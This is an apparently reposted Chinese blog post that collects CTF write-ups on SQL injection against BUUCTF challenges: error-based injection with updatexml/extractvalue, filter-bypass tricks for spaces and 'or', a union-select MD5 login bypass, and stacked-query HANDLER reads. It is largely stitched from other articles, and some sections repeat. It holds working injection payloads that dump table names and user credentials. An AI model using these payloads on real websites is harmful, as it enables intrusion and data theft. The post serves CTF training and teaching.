2024年最新CTF Web SQL注入专项整理（持续更新中）_ctf sql注入，一文轻松搞定(2)

于 2024-05-16 02:47:00 发布
阅读量839 收藏 30
点赞数 10
分类专栏： 程序员 文章标签： 前端 sql android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84968127/article/details/138933395
版权

741为过滤内容
可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤

继续测试

admin
1’ or

image.png
image.png

可以看到被拦截了
通过刚才的字典爆破，可以知道1’和or是没有被过滤的
那么真相只有一个，卧槽，空格被过滤了，我直呼好家伙

刚开始本想尝试编码绕过空格，结果不行，这里猜测到了空格限制

空格限制

admin
1’(or)

image.png

like没有被过滤，使用like可以绕过=号，like <=> =

重新构造万能密码
1'or((1)like(1))#
image.png
image.png

可以看到绕过了空格限制
同时也登陆成功了
然后想到了之前做过很类似的一道题
SQL报错注入也用到了空格限制
（已经试了堆叠注入和联合注入都不行）
这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT（XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理：
（在使用语句时，如果XPath_string不符合该种类格式，就会出现格式错误，并且会以系统报错的形式提示出错误！）
（局限性查询字符串长度最大为32位，要突破此限制可使用right(),left()，substr()来截取字符串）

其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入
爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
image.png

得到库名geek

查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
image.png

得到数据表H4rDsq1

爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
image.png

得到三个字段：id、username、password

查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag：
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识：^这个符号可以绕过or的限制
这两种函数大同小异，不再赘述
当然也可以不使用^来绕过or限制，单一的()绕过空格限制也可以
大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#
image.png
image.png
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
image.png
image.png

好了大家已经明显看到了^和()绕过不同限制的区别
那么下面就给大家一直演示^绕过or限制了（上一个updatexml()函数使用的是()绕过空格限制）

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
image.png
使用right()突破字符限制
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
image.png
拼接得到最终flag：
flag{389c9161-c2eb-403a-8062-80f219ca1c30}
原文链接：https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞
【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解！

题目环境
image.png
burp抓包

随便输入值

image.png
repeater放包
image.png

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式
通过测试发现是套加密（二次加密）
首先使用base32对此编码进行解码

base32解码
image.png
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码
image.png

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断
可以得出此题的注入点是参数name

判断注入类型

1
123

image.png

1’
123

image.png

发生报错
可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1
123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin
密码暂且还不知道

判断字段数

1’ union select 1,2#
123

image.png

1’ union select 1,2,3#
123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#
123

image.png

1’ union select 1,‘admin’,3#
123

image.png

通过用户所在列测试，得出了存在用户admin，又得出了admin用户在第二列，也就是username字段那一列。

查看题目源码
image.png

在search.php源代码哪里发现关键代码

image.png

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}

发现参数password被md5加密
看着和之前做过的题很类似
大致就是传进去的值要进行md5值加密

换种方式猜测
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后，后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

爆flag：

这里pw参数的值为123456
可以随便传
但是要对传入的那个值进行md5值加密
网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#
123456

image.png
得出flag：
flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法
【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境
image.png
判断注入类型

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png
查表

1’;show tables;

image.png

存在FlagHere数据表
极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

image.png

1’ order by 2 – -

image.png

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

image.png

存在flag字段！

查words数据表的字段名

1’;show columns from words;

image.png

从这里看的话这题与buuctf[强网杯 2019]随便注 1这道题是有几分相似的
后者是通过改表名来获取flag值，但是前者既然放到了后边，应该没有那么容易
猜测修改表名的命令极有可能被过滤了
后者题解非常详细可以看看下面这个链接（同时也包含handler解法！）
https://blog.csdn.net/m0_73734159/article/details/134049744

判断命令是否存在过滤

rename

image.png

return preg_match(“/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i”,$inject);
果不其然改表名的两个关键命令被过滤了
rename和alter
包括查询命令也被过滤了
select

通过handler命令获取flag

select这个查询命令大家都很熟悉
但是我们却忽略了一个也很重要的角色
那就是handler查询命令
虽然handler这个命令不常见
但是它也非常强大

handler命令查询规则

  • handler table_name open;handler table_name read first;handler table_name close;
  • handler table_name open;handler table_name read next;handler table_name close;

如何理解？

  • 首先打开数据库，开始读它第一行数据，读取成功后进行关闭操作。
  • 首先打开数据库，开始循环读取，读取成功后进行关闭操作。

构造payload

  • 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
  • 1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

上传payload
image.png
image.png
得到flag：
flag{29e0c4b0-b659-4115-a74c-f3c25d3aac9b}
原文链接：https://blog.csdn.net/m0_73734159/article/details/134731461?spm=1001.2014.3001.5501

布尔盲注
【例题】BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注）

题目环境
image.png
判断注入类型

1

image.png

2

image.png

3

image.png

1’

image.png

输入1’报错提示bool(false)
可知是字符型的布尔注入（盲注）

尝试万能密码

1’ or ‘1’=1

最后

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

image.png

输入1’报错提示bool(false)
可知是字符型的布尔注入（盲注）

尝试万能密码

1’ or ‘1’=1

最后

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-BRUtCYoO-1715798809123)]

[外链图片转存中…(img-MU0s5Dnu-1715798809124)]

[外链图片转存中…(img-6iUBcTS8-1715798809124)]

[外链图片转存中…(img-8PALDjTW-1715798809124)]

[外链图片转存中…(img-ihpGdtkV-1715798809125)]

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

2401_84968127
关注
  • 10
    点赞
  • 踩
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BugKuCTF(CTF-练习平台)——WEB-sql注入
Ifish的博客
02-25 3574
打开网址 注入题 修改id的值 发现只在id=1时显示，说明注入点应该是id=1 ‘闭合，发现不报错，尝试宽字节注入 报错 KEY{54f3320dc261f313ba712eb3f13a1f6d}...
2024年网络安全最新CTF Web SQL注入专项整理（持续更新中）_ctf sql注入(2)，2024年最新阿里P7大牛整理
最新发布
2401_84302761的博客
05-12 866
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
ctf-web-sql
weixin_30336061的博客
07-23 95
姿势文章总结 freebuf http://www.freebuf.com/news/139288.html http://www.freebuf.com/articles/web/137094.html 转载于:https://www.cnblogs.com/hongren/p/7224222.html
2024年最新CTF Web SQL注入专项整理（持续更新中）_ctf sql注入，一文轻松搞定
2401_84973202的博客
05-11 1255
使用right()突破字符限制得到后一段flag值b-403a-8062-80f219ca1c30}好了大家已经明显看到了^和()绕过不同限制的区别那么下面就给大家一直演示^绕过or限制了（上一个updatexml()函数使用的是()绕过空格限制）使用right()突破字符限制原文链接：https://blog.csdn.net/m0_73734159/article/details/134450773。
CTF Web SQL注入专项整理（持续更新中）
m0_73734159的博客
10-19 2874
SQL注入专项整理
mysql&&sql注入+ctf+web安全
10-08
mysql&&sql注入+ctf+web安全
CTF中SQL注入常见题型整理.pdf
02-11
CTF中SQL注入常见题型整理
sql注入攻击流量情况
07-18
sql注入攻击流量情况
CTF web安全经典例题讲解
10-22
1. **SQL注入**：SQL注入是Web应用中常见的安全漏洞，攻击者通过输入恶意构造的SQL语句，可能获取敏感数据、篡改数据库内容甚至控制整个服务器。学习SQL注入涉及理解SQL语法，学会如何构造注入语句，以及如何利用...
【HackPack CTF】 WEB——持续更新中
12-21
题目地址 ...打开是酱紫 sui便打开一个404找不到 先演示错误思路： Plan A.... 上bp抓包，Ctrl + I，爆破点为/后的数字比如1，sniper狙击手模式， ...playload 用runtime file ...换思路，找宝藏，要想有地图，hi
CTF系列之Web——SQL注入
洛柒尘的博客
06-09 8322
前言 在刚学习sql注入的过程中非常艰难，查资料的时间有一周这么长，点开的网页也不下一千，认真读的也最少有两百，可是能引导入门的真的没几篇，都是复制来复制去的，没意思，感觉就是在浪费时间。有很多知识点都很散，很少能考到一片吧所有知识点总结在一块，最少也要三四个知识点也好呀，可惜太少了，大部分大佬写的都是基于他们现有的技术写的，写的很笼统，不适合新手看。可以发现很多大佬的文章看不懂就是这个原因，没有基础看的很懵的。所以我就想着写两三篇来总结我学习过的sql注入知识点。 学习web系列推荐先学习Mysql、H
ctf-web-sql注入
热门推荐
god_001的博客
05-03 1万+
题目链接：跳转提示 打开网页，一个登陆页面，根据题是本题题型是基于布尔的SQL盲注 首先在用户名处输入admin 得到结果： 即密码确为admin，而如果不输入用户名直接输入密码，发现报错 可见后台是先判断用户名是否正确存在，当用户名正确后再判断密码是否正确。 经测试发现，当出现'空格符'，'='，'and'等字符时，发现会报错显示：‘illegal character’，即知道这些字符会被过滤，可以用括号来避免空格符的使用，用<>（大于或小于）来避免'='的使用 尝试输入
CTF-Web-Sql注入-[SUCTF 2019]EasySQL
weixin_42566218的博客
02-21 2050
BUUCTF-Web-Sql注入-[SUCTF 2019]EasySQL 题目链接：BUUCTF 类型：sql注入 知识点：堆叠注入、mysql异或、mysql服务器变量（sql_mode）、后端代码推测 解题方法：两种方法 这道题考的是一道堆叠注入,题目涉及到了后端代码推测和mysql的部分基础知识,代码推测意思就是构造前端输入根据后端回显信息去推测后端用到的是什么sql语句,这对我这种CTF小白来说根本没什么经验,所以咱就是说根本做不出来！,只能求助官方大大的wp才能勉强做出来 解题过程 方法1
CTFweb篇-SQL注入(一)
weixin_44597701的博客
08-12 1412
基本函数和知识 基本数据库information_schema information_schema是一个数据库，放的是一些视图，在SQL文件中找不到。 其中具有表schemata(数据库名)、tables(表名)、columns(列名获字段名) schemata表中有schema_name来存储数据库名 在tables表中，table_schema和table_name来存储数据库名和表名 在columns表中，有table_schema、table_name、column_name 基本函数 user(
CTF Web学习（四）----SQL注入
网络猿的博客
01-11 1231
CTF Web学习（四） SQL注入 CTF Web学习目录链接 CTF Web学习（一）：基础篇及头文件修改、隐藏 CTF Web学习（二）：代码审计、burp suite应用 CTF Web学习（三）：python脚本的编写及应用 文章目录CTF Web学习（四）前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。
CTF-Web-Sql注入-强网杯 2019]随便注
weixin_42566218的博客
02-21 1496
CTF-Web-Sql注入-强网杯 2019]随便注 题目链接：BUUCTF 类型：sql注入 知识点：堆叠注入、mysql句柄操作（handler） 解题过程 方法1 测试注入点发现GET型字符注入, ?inject=1' or '1'='1 order by爆破字段2 ?inject=1' order by 3%23 配合union select发现过滤规则 ?inject=1' union select 1,2%23 没有过滤分号,测试堆叠注入成功,查询当前数据库的
Ctfhub解题 web SQL注入(全部完整版)
weixin_46703850的博客
03-15 5089
Ctfhub解题 web SQL注入
CTF之web学习记录 -- SQL注入进阶
lifanxin的博客
05-19 585
SQL注入进阶概述时间注入攻击堆叠查询注入攻击二次注入攻击宽字节注入攻击cookie注入攻击base64注入攻击XFF注入攻击总结 概述   这一部分的内容是sql注入知识的进阶部分，引入了更多的注入技巧。 时间注入攻击   时间注入攻击的场景同样也是服务器并不返回查询语句的信息，这和boolean注入攻击类似，boolean注入通过true或false来进行数据库信息猜测。时间注入攻击通过利用sleep()或benchmark()等函数让数据库操作时间变长，以此来判断语句是否成功执行。 # 判断数据库名长
ctf中sql注入题目解法
05-05
在CTF中，SQL注入是一种常见的攻击类型，通常是通过构造恶意输入来绕过应用程序的安全控制，从而访问或篡改应用程序的数据。 以下是一些SQL注入题目的解法： 1. 基于错误的注入：这种类型的注入通常涉及到将错误的输入发送到应用程序，然后观察应用程序返回的错误消息。通过分析错误消息，攻击者可以获得关于数据库的有用信息。例如，攻击者可以尝试通过发送 '和1=2' 的输入来触发一个错误消息。如果返回了一个错误消息，那么攻击者就会知道这个输入是有效的。 2. 基于时间的注入：这种类型的注入利用了数据库查询的延迟响应时间。攻击者可以在输入中添加一些额外的SQL语句，这些语句会导致查询的执行时间变长。通过观察查询的响应时间，攻击者可以获得关于数据库的有用信息。 3. 盲注入：这种类型的注入通常是在攻击者无法看到应用程序返回的响应消息时使用的。攻击者可以尝试发送不同类型的输入来推断数据库中的数据。例如，攻击者可以尝试使用布尔逻辑来确定某个字段中是否存在数据。 4. 堆叠注入：这种类型的注入涉及到在单个输入中添加多个SQL语句。攻击者可以利用这些语句来执行多个操作，例如创建新用户、修改密码等。 5. 直接注入：这种类型的注入涉及到直接在SQL查询中插入恶意代码。攻击者可以利用这些代码来执行任意操作，例如删除数据库中的数据、修改数据库中的数据等。 以上是一些常见的SQL注入题目解法，但是在实际的CTF比赛中，攻击者需要具备较强的技术水平和经验才能成功地解决这些问题。因此，对于CTF选手而言，不断学习和实践是非常重要的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值